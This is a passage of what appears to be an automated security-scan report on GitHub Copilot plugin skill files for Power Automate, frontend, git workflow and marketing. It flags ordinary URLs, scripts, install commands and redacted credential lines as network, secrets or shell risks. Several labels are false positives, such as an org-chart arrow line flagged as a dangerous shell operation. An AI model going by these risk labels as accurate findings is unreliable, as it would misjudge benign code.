    "tenant": "<tenant-id>",       "audience": "https://graph.microsoft.com",       "clientId": "<app-registration-id>",
  • Network accessline 353
    "audience": "https://graph.microsoft.com",
  • Network accessline 429
    "inputs": {     "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
  • Network accessline 430
    "method": "POST",     "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",     "headers": { "Content-Type"
  • Network accessline 431
    "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/build-patterns.md

  • Network accessline 28
    },         "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 29
    "parameters": {           "dataset": "https://mytenant.sharepoint.com/sites/mysite",           "table": "MyList",
  • Network accessline 30
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/flow-schema.md

  • Network accessline 10
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 11
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 210
    {   "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
  • Network accessline 211
    "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/trigger-types.md

  • Network accessline 140
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 141
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 142
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 146
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 147
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 148
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 170
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 171
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList"
  • Network accessline 172
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 176
    "body": { "notificationUrl": "@listCallbackUrl()" },       "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 177
    "queries": {         "dataset": "https://mytenant.sharepoint.com/sites/mysite",         "table": "MyList"
  • Network accessline 178
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug/SKILL.md

  • Network accessline 21
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 22
    - Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token.
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 134
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 135
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 136
    - [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md)
  • Network accessline 137
    - [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md)
  • Network accessline 138
    - [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance/SKILL.md

  • Network accessline 4
    Govern Power Automate flows and Power Apps at scale with the FlowStudio MCP cached store by classifying business impact, detecting orphaned resources, auditing connectors, enforcing compliance metadata, configuring notification rules, and c
  • Network accessline 5
    metadata:   source: "https://mcp.flowstudio.app." ---
  • Network accessline 6
    source: "https://mcp.flowstudio.app."
  • Network accessline 23
    - Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point
  • Network accessline 134
    - [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit
  • Network accessline 135
    - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish
  • Network accessline 136
    - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing
  • Network accessline 141
    - [FlowStudio MCP](https://mcp.flowstudio.app.)
  • Network accessline 142
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/SKILL.md

  • Network accessline 21
    - Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app.
  • Network accessline 22
    - MCP endpoint: `https://mcp.flowstudio.app/mcp`.
  • Network accessline 82
    Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati
  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 90
    MCP = "https://mcp.flowstudio.app/mcp"
  • Network accessline 93
    payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid,                "params": {"name": tool, "arguments": args}}     req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 94
    [Credential-related source omitted]
  • Network accessline 95
    req = urllib.request.Request(MCP, data=json.dumps(payload).encode(),
  • Network accessline 97
    "User-Agent": "FlowStudio-MCP/1.0"})     try:         resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 98
    try:         resp = urllib.request.urlopen(req, timeout=120)     except urllib.error.HTTPError as e:
  • Network accessline 99
    resp = urllib.request.urlopen(req, timeout=120)
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    const MCP = "https://mcp.flowstudio.app/mcp";
  • Network accessline 121
    params: { name: tool, arguments: args },   };   const res = await fetch(MCP, {
  • Network accessline 122
    };   const res = await fetch(MCP, {     method: "POST",
  • Network accessline 123
    const res = await fetch(MCP, {
  • Network accessline 158
    | Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 159
    | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont
  • Network accessline 160
    | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. |
  • Network accessline 223
    **Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 224
    **Endpoint:** `https://mcp.flowstudio.app/mcp`
  • Network accessline 243
    - [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`.
  • Network accessline 252
    - FlowStudio MCP: https://mcp.flowstudio.app
  • Network accessline 253
    - FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp
  • Network accessline 254
    - FlowStudio MCP subscription page: https://mcp.flowstudio.app.
  • Network accessline 255
    - Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md
  • Network accessline 256
    - Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md
  • Network accessline 257
    - Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md

  • Network accessline 6
    Endpoint:  https://mcp.flowstudio.app/mcp

harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring/SKILL.md

  • Network accessline 26
    > 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 27
    > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in
  • Network accessline 28
    > 3. Link them to https://mcp.flowstudio.app/pricing
  • Network accessline 59
    **Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 61
    ([how to select flows](https://learn.flowstudio.app/teams-monitoring)).
  • Network accessline 124
    "state": "Started",     "triggerType": "Request",     "triggerUrl": "https://{example-url}",
  • Network accessline 125
    "triggerType": "Request",     "triggerUrl": "https://{example-url}",     "tags": ["#operations", "#sensitive"],
  • Network accessline 126
    "triggerUrl": "https://{example-url}",
  • Network accessline 400
    - [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 401
    - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing .
  • Network accessline 410
    - [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
  • Network accessline 411
    - [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)

harness/github-copilot/plugins/frontend-experience/skills/anti-ui-slop/SKILL.md

  • Network accessline 2
    name: "anti-ui-slop" description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu
  • Network accessline 3
    description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, 
  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w
  • Network accessline 21
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 42
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 148
    - [UIZZE public catalogue](https://uizze.com)

harness/github-copilot/plugins/frontend-experience/skills/frontend-accessibility/references/wcag-2.2-aa.md

  • Network accessline 3
    Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo

harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/icon-matrix.md

  • Network accessline 15
    Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html

harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/social-metadata.md

  • Network accessline 16
    Source: https://ogp.me/

harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/technical-seo.md

  • Network accessline 23
    - https://developers.google.com/search/docs/fundamentals/seo-starter-guide
  • Network accessline 24
    - https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data
  • Network accessline 25
    - https://developers.google.com/search/docs/crawling-indexing/robots/intro
  • Network accessline 26
    - https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview

harness/github-copilot/plugins/frontend-experience/skills/frontend-project-setup/scripts/install_companions.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/frontend-experience/skills/frontend-project-setup/tests/test_install_companions.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/frontend-experience/skills/frontend-release-quality-gate/scripts/check_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/frontend-experience/skills/frontend-release-quality-gate/tests/test_check_traceability.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/frontend-experience/skills/premium-frontend-ui/SKILL.md

  • Network accessline 5
    metadata:   author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005"
  • Network accessline 6
    author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 7
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 124
    - [Author profile](https://github.com/utkarsh232005)

harness/github-copilot/plugins/frontend-experience/skills/web-design-reviewer/SKILL.md

  • Network accessline 31
    1. **Target website must be running**    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 32
    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 64
    > Please provide the URL of the website to review (e.g., `http://localhost:3000`)
  • Network accessline 300
    [Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill.
  • Network accessline 392
    **Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 393
    **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 408
    - [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 409
    - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running.
  • Network accessline 419
    - [Playwright MCP](https://github.com/microsoft/playwright-mcp)

harness/github-copilot/plugins/frontend-experience/skills/web-design-reviewer/references/framework-fixes.md

  • Network accessline 472
    // Use Chrome DevTools Lighthouse or axe DevTools // Or check at the following site: // https://webaim.org/resources/contrastchecker/
  • Network accessline 474
    // https://webaim.org/resources/contrastchecker/

harness/github-copilot/plugins/git-github-workflow/skills/commit-message-storyteller/SKILL.md

  • Network accessline 28
    Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.

harness/github-copilot/plugins/git-github-workflow/skills/commit-message-storyteller/references/conventional-commits-guide.md

  • Network accessline 3
    Full spec: https://www.conventionalcommits.org/en/v1.0.0/

harness/github-copilot/plugins/git-github-workflow/skills/conventional-branch/SKILL.md

  • Network accessline 145
    - [Conventional Branch](https://conventional-branch.github.io)
  • Network accessline 146
    - [Conventional Commits](https://www.conventionalcommits.org)

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/SKILL.md

  • Network accessline 70
    | Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf
  • Network accessline 71
    | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message 
  • Network accessline 72
    | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. |
  • Network accessline 129
    - [GitHub CLI](https://cli.github.com)

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/01-request-review.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 56
    # Link header looks like: `<https://api.github.com/...?per_page=100&page=4>; rel="last"`

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/09-review-round.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/_lib.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    - winget install --id GitHub.cli           (Windows)   - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 48
    - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)   - https://cli.github.com/                  (universal installer + download)
  • Dangerous shell operationline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 50
    - https://cli.github.com/                  (universal installer + download)

harness/github-copilot/plugins/git-github-workflow/skills/dependabot/SKILL.md

  • Network accessline 349
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 350
    [Credential-related source omitted]
  • Network accessline 351
    url: https://npm.example.com
  • Network accessline 387
    > Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ
  • Network accessline 388
    Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni
  • Network accessline 389
    > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026)
  • Network accessline 432
    - [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu
  • Network accessline 433
    ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e
  • Network accessline 434
    - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/)
  • Network accessline 435
    - [Example private registry endpoint](https://npm.example.com)

harness/github-copilot/plugins/git-github-workflow/skills/dependabot/references/dependabot-yml-reference.md

  • Network accessline 339
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 340
    [Credential-related source omitted]
  • Network accessline 341
    url: https://npm.example.com
  • Network accessline 344
    maven-central:     type: maven-repository     url: https://repo.maven.apache.org/maven2
  • Network accessline 345
    type: maven-repository     url: https://repo.maven.apache.org/maven2     username: ""
  • Network accessline 346
    url: https://repo.maven.apache.org/maven2
  • Network accessline 350
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 351
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 352
    url: https://ghcr.io
  • Network accessline 356
    python-private:     type: python-index     url: https://pypi.example.com/simple
  • Network accessline 357
    [Credential-related source omitted]
  • Network accessline 358
    url: https://pypi.example.com/simple

harness/github-copilot/plugins/git-github-workflow/skills/dependabot/references/example-configs.md

  • Network accessline 168
    npm-private:     type: npm-registry     url: https://npm.internal.example.com
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 170
    url: https://npm.internal.example.com
  • Network accessline 173
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 174
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 175
    url: https://ghcr.io
  • Network accessline 252
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    url: https://npm.example.com

harness/github-copilot/plugins/git-github-workflow/skills/gh-attach/SKILL.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]

harness/github-copilot/plugins/git-github-workflow/skills/git-commit/SKILL.md

harness/github-copilot/plugins/git-github-workflow/skills/git-flow-branch-creator/SKILL.md

harness/github-copilot/plugins/git-github-workflow/skills/github-issues/references/images.md

  • Network accessline 42
    ![Description](https://github.com/{owner}/{repo}/raw/{username}/images/docs/images/my-image.png)
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 68
    1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Network accessline 69
    2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications
  • Network accessline 70
    3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Access to secretsline 73
    [Credential-related source omitted]

harness/github-copilot/plugins/git-github-workflow/skills/github-release/SKILL.md

  • Network accessline 78
    7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`.
  • Network accessline 229
    - [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
  • Network accessline 230
    - [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)

harness/github-copilot/plugins/git-github-workflow/skills/github-release/references/commit-classification.md

  • Network accessline 8
    When reading `git log` output, map each commit to one of the categories below. Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will
  • Network accessline 9
    Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will

harness/github-copilot/plugins/git-github-workflow/skills/github-release/references/semver-rules.md

  • Network accessline 3
    Reference: https://semver.org/

harness/github-copilot/plugins/git-github-workflow/skills/gitmoji/SKILL.md

  • Network accessline 2
    name: "gitmoji" description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when ask
  • Network accessline 3
    description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gi
  • Network accessline 4
    Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gitmoji commit, add 
  • Network accessline 10
    Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body.
  • Network accessline 92
    - Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 93
    - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 141
    - [gitmoji](https://gitmoji.dev)
  • Network accessline 142
    - [gitmoji with trailing slash](https://gitmoji.dev/)
  • Network accessline 143
    - [Conventional Commits](https://www.conventionalcommits.org/)

harness/github-copilot/plugins/git-github-workflow/skills/gitmoji/references/gitmoji-reference.md

  • Network accessline 3
    The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents.
  • Network accessline 83
    > Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.

harness/github-copilot/plugins/git-github-workflow/skills/issue-fields-migration/SKILL.md

  • Network accessline 125
    - [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)

harness/github-copilot/plugins/git-github-workflow/skills/make-repo-contribution/SKILL.md

  • Broad permissionsline 1
    Read Edit Bash(git:*) Bash(gh issue:*) Bash(gh pr:*)

harness/github-copilot/plugins/git-github-workflow/skills/pr-dashboard/scripts/lib/utils.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/git-github-workflow/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 219
    return `<tr>   <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
  • Network accessline 220
    <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>

harness/github-copilot/plugins/go-to-market/skills/ad-campaign-analyzer/SKILL.md

  • Network accessline 7
    author: GooseWorks   compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: https://githu
  • Network accessline 8
    compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: https://github.com/gooseworks-ai/g
  • Network accessline 9
    source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 215
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)

harness/github-copilot/plugins/go-to-market/skills/competitor-ad-intelligence/SKILL.md

  • Network accessline 7
    author: GooseWorks   compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required.   source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 8
    compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required.   source: https://github.com/gooseworks-ai/goose-skills   version: "1.0"
  • Network accessline 9
    source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 58
    | Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p
  • Network accessline 59
    | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va
  • Network accessline 60
    | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations |
  • Network accessline 61
    | Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar
  • Network accessline 62
    | Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site:
  • Network accessline 281
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
  • Network accessline 282
    - [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>)
  • Network accessline 283
    - [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)

harness/github-copilot/plugins/go-to-market/skills/gtm-0-to-1-launch/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 169
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 170
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-ai-gtm/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 151
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 152
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-board-and-investor-communication/SKILL.md

  • Network accessline 8
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Dangerous shell operationline 383
    Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing)
  • Network accessline 429
